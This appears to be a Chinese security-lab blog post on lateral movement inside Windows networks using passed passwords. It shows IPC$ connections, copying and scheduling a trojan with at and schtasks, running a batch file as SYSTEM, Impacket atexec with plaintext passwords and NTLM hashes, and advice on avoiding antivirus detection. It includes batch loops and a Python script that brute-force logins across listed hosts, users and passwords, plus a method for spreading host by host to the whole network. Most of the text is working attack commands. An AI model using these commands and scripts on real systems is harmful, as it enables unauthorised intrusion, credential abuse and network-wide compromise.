内网渗透-密码传递

雷石安全实验室

共 7142字,需浏览 15分钟

 ·

2022-04-25 12:22


利用密码传递

at&schtasks

在日常渗透中,我们在拿到入口点(Windows)之后,我们可以使用at&schtasks在目标内网利用密码传递,进行横向渗透。

  1. 获取主机/域主机权限

  2. minikatz获得密码(明文、hash)

  3. 信息收集用户名做字典

  4. 尝试链接

  5. 添加计划任务(at & schtasks)

  6. 执行文件木马、或者命令

windows 2012 以下 at

windows 2012 以上 schtasks

利用流程

  1. 简历IPC连接到目标主机

  2. 拷贝要执行的命令脚本到目标主机

  3. 查看目标时间,创建计划任务(at schtasks)定时执行copy到的脚本

  4. 删除IPC

建立IPC失败原因

1.你的系统不是NT或以上操作系统.
2.对方没有打开ipc$默认共享。
3.不能成功连接目标的139,445端口.
4.命令输入错误.
5.用户名或密码错误.

常见错误

1.错误号5,拒绝访问 :很可能你使用的用户不是管理员权限的,先提升权限;
2.错误号51,Windows 无法找到网络路径 : 网络有问题;
3.错误号53,找不到网络路径 :ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
4.错误号67,找不到网络名 :你的lanmanworkstation服务未启动;目标删除了ipc$;
5.错误号1219,提供的凭据与已存在的凭据集冲突 :你已经和对方建立了一个ipc$,请删除再连。
6.错误号1326,未知的用户名或错误密码 :原因很明显了;
7.错误号1792,试图登录,但是网络登录服务没有启动 :目标NetLogon服务未启动。(连接域控会出现此情况)
8.错误号2242,此用户的密码已经过期 :目标有帐号策略,强制定期要求更改密码。

建立IPC空连接

net use \\xx.xx.xx.xx\ipc$ "" /user:""

建立完整的用户名,密码连接:

net use \\xx.xx.xx.xx\ipc$ "password" /user:"username"net use \\xx.xx.xx.xx\ipc$ "password" /user:域名\"username"net use \\192.168.3.25\ipc$ "admin!@#45" /user:test\jl

映射路径:

net use z: \\xx.xx.xx.xx\c$ "密码" /user:"用户名"  (即可将对方的c盘映射为自己的z盘,其他盘类推)

删除

net use z: \\xx.xx.xx.xx\c$   #直接访问net use c: /del     删除映射的c盘,其他盘类推 net use * /del      删除全部,会有提示要求按y确认net use \\xx.xx.xx.xx\ipc$ /deldir \\xx.xx.xx.xx\c$  列文件copy \\xx.xx.xx.xx\c$\1.bat 1.bat  下载1.batcopy 1.bat \\xx.xx.xx.xx\C$ 复制文件net view xx.xx.xx.xx 查看对方共享

过程

C:\>net use \\xx.xx.xx.xx\IPC$ "admin" /user:"admintitrators" 用户名是administrators,密码为"admin"的IP地址,如果是打算攻击的话,就可以用这样的命令来与xx.xx.xx.xx建立一个连接,因为密码为"admin",所以第一个引号处输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。
C:\>copy srv.exe \\xx.xx.xx.xx\admin$ 先复制srv.exe上去,目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)
C:\>net time \\xx.xx.xx.xx 查查时间,发现xx.xx.xx.xx 的当前时间是 2021/2/8 上午 11:00,命令成功完成。C:\>at \\xx.xx.xx.xx 11:05 srv.exe 用at命令启动srv.exe吧
/S   system        指定要连接到的远程系统。如果省略这个系统参数,默认是本地系统。 /U   username      指定应在其中执行 SchTasks.exe 的用户上下文。 /P   [password]    指定给定用户上下文的密码。如果省略则提示输入。 /RU  username      指定任务在其下运行的“运行方式”用户                       帐户(用户上下文)。对于系统帐户,有效                        值是 """NT AUTHORITY\SYSTEM"                       "SYSTEM"                       对于 v2 任务,"NT AUTHORITY\LOCALSERVICE"                       "NT AUTHORITY\NETWORKSERVICE"以及常见的 SID                         对这三个也都可用。                         /RP  [password]    指定“运行方式”用户的密码。要提示输                       入密码,值必须是 "*" 或无。系统帐户会忽略该                       密码。必须和 /RU 或 /XML 开关一起使用。

/RU/XML /SC schedule 指定计划频率。 有效计划任务: MINUTE、 HOURLY、DAILY、WEEKLY、 MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT./MO modifier 改进计划类型以允许更好地控制计划重复周期。有效值列于下面“修改者”部分中。/D days 指定该周内运行任务的日期。有效值: MON、TUE、WED、THU、FRI、SAT、SUN 和对 MONTHLY 计划的 1 - 31 (某月中的日期)。通配符“*”指定所有日期。/M months 指定一年内的某月。默认是该月的第一天。 有效值: JAN、FEB、MAR、APR、MAY、JUN、 JUL、 AUG、SEP、OCT、NOV 和 DEC。通配符 “*” 指定所有的月。/I idletime 指定运行一个已计划的 ONIDLE 任务之前 要等待的空闲时间。 有效值范围: 1999 分钟。/TN taskname 指定唯一识别这个计划任务的名称。/TR taskrun 指定在这个计划时间运行的程序的路径和文件名。例如: C:\windows\system32\calc.exe/ST starttime 指定运行任务的开始时间。
时间格式为 HH:mm (24 小时时间),例如 14:30 表示
2:30 PM。如果未指定 /ST,则默认值为
当前时间。/SC ONCE 必需有此选项。/RI interval 用分钟指定重复间隔。这不适用于 计划类型: MINUTE、HOURLY、 ONSTART, ONLOGON, ONIDLE, ONEVENT. 有效范围: 1 - 599940 分钟。 如果已指定 /ET 或 /DU,则其默认值为 10 分钟。/ET endtime 指定运行任务的结束时间。 时间格式为 HH:mm (24 小时时间),例如,14:50 表示 2:50 PM。 这不适用于计划类型: ONSTART、 ONLOGON, ONIDLE, ONEVENT./DU duration 指定运行任务的持续时间。 时间格式为 HH:mm。这不适用于 /ET 和 计划类型: ONSTART, ONLOGON, ONIDLE, ONEVENT. 对于 /V1 任务,如果已指定 /RI,则持续时间默认值为 1 小时。 /K 在结束时间或持续时间终止任务。 这不适用于计划类型: ONSTART、 ONLOGON, ONIDLE, ONEVENT. 必须指定 /ET 或 /DU。/SD startdate 指定运行任务的第一个日期。 格式为 yyyy/mm/dd。默认值为 当前日期。这不适用于计划类型: ONCE、 ONSTART, ONLOGON, ONIDLE, ONEVENT./ED enddate 指定此任务运行的最后一天的日期。 格式是 yyyy/mm/dd。这不适用于计划类型: ONCE、ONSTART、ONLOGON、ONIDLE。/EC ChannelName 为 OnEvent 触发器指定事件通道。/IT 仅有在 /RU 用户当前已登录且 作业正在运行时才可以交互式运行任务。 此任务只有在用户已登录的情况下才运行。/NP 不储存任何密码。任务以给定用户的身份 非交互的方式运行。只有本地资源可用。/Z 标记在最终运行完任务后删除任务。/XML xmlfile 从文件的指定任务 XML 中创建任务。 可以组合使用 /RU 和 /RP 开关,或者在任务 XML 已包含 主体时单独使用 /RP。/V1 创建 Vista 以前的平台可以看见的任务。 不兼容 /XML。/F 如果指定的任务已经存在,则强制创建 任务并抑制警告。/RL level 为作业设置运行级别。有效值为 LIMITED 和 HIGHEST。默认值为 LIMITED。/DELAY delaytime 指定触发触发器后延迟任务运行的 等待时间。时间格式为 mmmm:ss。此选项仅对计划类型 ONSTART, ONLOGON, ONEVENT. /? 显示此帮助消息。

创建任务

schtasks /create /s xx.xx.xx.xx /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat

执行任务

schtasks /run /s xx.xx.xx.xx /tn adduser /i 运行这个任务

删除任务

schtasks /delete /s xx.xx.xx.xx /tn adduser /f

使用第三方工具,自带提权

D:\>atexec.exe tencent/administrator:123@.com@10.0.0.1 "whoami"Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies
[!] This will work ONLY on Windows >= Vista[*] Creating task \WqukoWZX[*] Running task \WqukoWZX[*] Deleting task \WqukoWZX[*] Attempting to read ADMIN$\Temp\WqukoWZX.tmp[*] Attempting to read ADMIN$\Temp\WqukoWZX.tmpnt authority\system # 权限为system
impacket工具包,里面很多内网用到的工具这个工具注意免杀atexec.exe ./administrator:123@.com@10.0.0.1 "whoami"atexec.exe tencent/administrator:123@.com@10.0.0.1 "whoami"atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@10.0.0.1 "whoami"

批量建立IPC链接

FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测IP对应明文连接FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami    #批量检测IP对应明文回显版FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@10.0.0.1 whoami     #批量检测明文对应IP回显版FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@10.0.0.1 whoami #批量检测HASH对应IP回显版

程序运行结束net use查看建立了哪些连接,剩下的就是使用自带命令at&schtasks上传脚本进行控制。

net use \\192.168.3.32\ipc$ admin!@#45 /user:god\dbadmin
#pip install pyinstaller#pyinstaller -F fuck_neiwang_001.py 生成可执行EXEimport os,timeips={ '192.168.3.21', '192.168.3.25', '192.168.3.29', '192.168.3.30', '192.168.3.31', '192.168.3.33'}
users={ 'Administrator', 'bossS', 'dbadmin', 'fileadmin', 'mack', 'mary', 'vpnadmin', 'webadmin'}passs={ 'admin', 'admin!@#45', 'Admin12345'}
for ip in ips: for user in users: for mima in passs: exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user print('--->'+exec+'<---') os.system(exec) time.sleep(1)

以上操作都是在我们知道用户和密码的情况下进行验证的,前期除了收集明文密码HASH等,还收集了用户名,用户名配合密码字典,进行上面的批量验证

主机A   收集主机A的用户名和密码  组成字典
主机B 用主机A的用户信息验证是否可以登录到主机B,如果可以登录在收集主机B的用户信息,将信息添加到上面的字典里。
主机C 用上面的字典验证是否可以登录到主机C,如果可以登录依旧收集相关信息添加到字典中

不断重复上面步骤,收集的信息越多字典越大,我们验证成功的可能性越大,实现从获得1台主机到内网中所有主机的操作


工具地址

https://gitee.com/RichChigga/impacket-examples-windows


往期回顾

  01

docker 利用特权模式逃逸并拿下主机 
02

试水ios-一次过闪退记录
03

burp suite使用技巧


浏览 18
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报